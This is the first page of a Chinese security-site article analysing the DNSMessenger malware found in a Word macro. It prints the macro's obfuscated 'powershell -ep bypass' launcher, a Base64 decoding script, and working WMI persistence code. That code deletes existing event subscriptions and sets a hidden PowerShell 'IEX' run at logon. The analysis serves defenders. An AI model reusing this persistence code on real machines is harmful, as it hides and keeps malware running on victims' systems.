欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

恶意软件DNSMESSENGER分析

来源:本站整理 作者:佚名 时间:2018-09-04 TAG: 我要投稿

在这篇文章中,我将给大家介绍一种通过分析DNSMessenger恶意软件提取的方法,通过这个例子结果,你们可以讨论我使用的方法,并思考每个步骤的过程。
源代码
这个恶意软件发现于一个SHA-256 hash: 340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981的恶意Word文档中。为了从宏中提取VBA源代码,我使用了OLETools工具,安装OLETools之后,只需运行命令olevba 就可以显示出宏。
VB和嵌入式PowerShell
在这里我们发现了一个问题,攻击者为了让脚本更难被破解嵌入了大量换行间距,广泛分散内容,在使用OLETools显示宏之后,我们还有花大量时间来寻找真正有用的脚本。作者还使用了无偿字符串连接来破坏简单的字符串签名——这有助于攻击者逃避静态分析工具,寻找像"winmgmts:\\.\root\cimv2"这样的字符串,并可能会被以下内容抛出:"w" & "" & "in" & "" & "mgm" & "" & "ts" & "" & ":" & "" & "\\" & "." & "\r" & "" & "oot\c" & "" & "imv" & "" & "2"我们使用lStr命令对变量进行解码:lStr = "powershell -ep bypass -C ""$data = [System.Convert]::FromBase64String('H4sIAAAAAAAEAO1da3PayNL+7l+hol ... many many more lines ...如图:

继续进一步研究。
解开Base64
下面是一个简单的Python3脚本,用于解码前面提到的Base64 blob
import base64
import sys
with open(sys.argv[1]) as f:
    encoded = f.read()
sys.stdout.write(base64.b64decode(encoded))
解码后,生成的内容仍然无法读取。但我们可以知道其内容是GZIP格式的:存储在lStr中的VB字符串使用System.IO.Compression.GZipStream对象解压缩解码内容的命令;另一种识别方式是通过其(magic number),即开始文件签名(1F8B);我们还可以在Unix机器上使用file 命令来确定文件类型。现在,我们将使用gunzip 解压缩内容,这会创建一个具有相同名称的解压缩文件,打开解压缩的文件将显示模糊的PowerShell代码(第2层),经过一些清理和重构后,脚本行为的一些细节会变得更加明显。
Base64解码和解压缩的PowerShell
滚动解压缩的脚本你会找到另一个Base64 blob,它充当下一阶段的payload,我将其命名为第3层payload。
存储payload
如果受害者具有PowerShell 3.0或更高版本,则该脚本将编码的第3层payload存储在名为kernel32.dll的备用数据流中,位于%PROGRAMDATA%\Windows\。恶意软件作者通常用ADS来隐藏数据,只需列出其文件,你就无法找到payload。如果受害者具有较旧版本的PowerShell,则该脚本会在注册表中为密钥添加名为Path的新属性,以存储有效内容。如果用户具有管理员权限,有效内容将存储在HKLM:Software\Microsoft\Windows\CurrentVersion中,否则,它将存储在HKCU:Software\Microsoft\Windows中。
注册表键
这些脚本在%PROGRAMDATA%\Windows\中创建了一个名为kernel32.vbs的备用数据流,并向其写入代码,该代码可以从上一步中存储的任何位置检索并执行payload。每次用户登录30分钟后,攻击者会修改运行注册表项以执行kernel32.vbs。如果用户具有管理员权限,则目标密钥为HKLM:Software\Microsoft\Windows\CurrentVersion\Run\, 否则,目标密钥为HKCU:Software\Microsoft\Windows\CurrentVersion\Run\。
创建新的WMI对象
如果用户具有管理员权限,则脚本将创建永久WMI事件,并且监视用户登录,30分钟之后执行编码的payload。以下是代码。首先,它会删除现有的:
gwmi __eventFilter -namespace root\subscription | Remove-WmiObject
gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject
然后它会创建自己。如果你有PowerShell 3.0或更高版本,逻辑上讲是这样的:
$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __EventFilter -Arguments @{Name = $kernel32_filter; EventNamespace = “root\CIMV2”; QueryLanguage = “WQL”; Query = “Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'”}
$event_consumer = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class CommandLineEventConsumer -Arguments @{Name = $kernel32_consumer; ExecutablePath = “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -C `"IEX `$(Get-Content -Path $windows_path -Stream $kernel32_dll|Out-String)`""}
Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __FilterToConsumerBinding -Arguments @{Filter = $event_filter; Consumer = $event_consumer}
预定任务
该脚本还会创建一个计划任务,以便在用户登录后30分钟运行恶意软件。用于启动恶意软件的方法仅略有不同,具体取决于用户是否具有管理员权限。如果用户是非管理员,  wscript 则用于执行内容  kernel32.vbs。否则,使用 Invoke-Expression cmdlet。
DNS查询
现在我们已经讨论了攻击者实现恶意软件持久性的各种方法,让我们来看看下一个编码的payload是由什么组成的。在Base64解码和一些手动反混淆之后,你会注意到函数逻辑开头的这段代码,它包含了if之后的许多其他代码。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载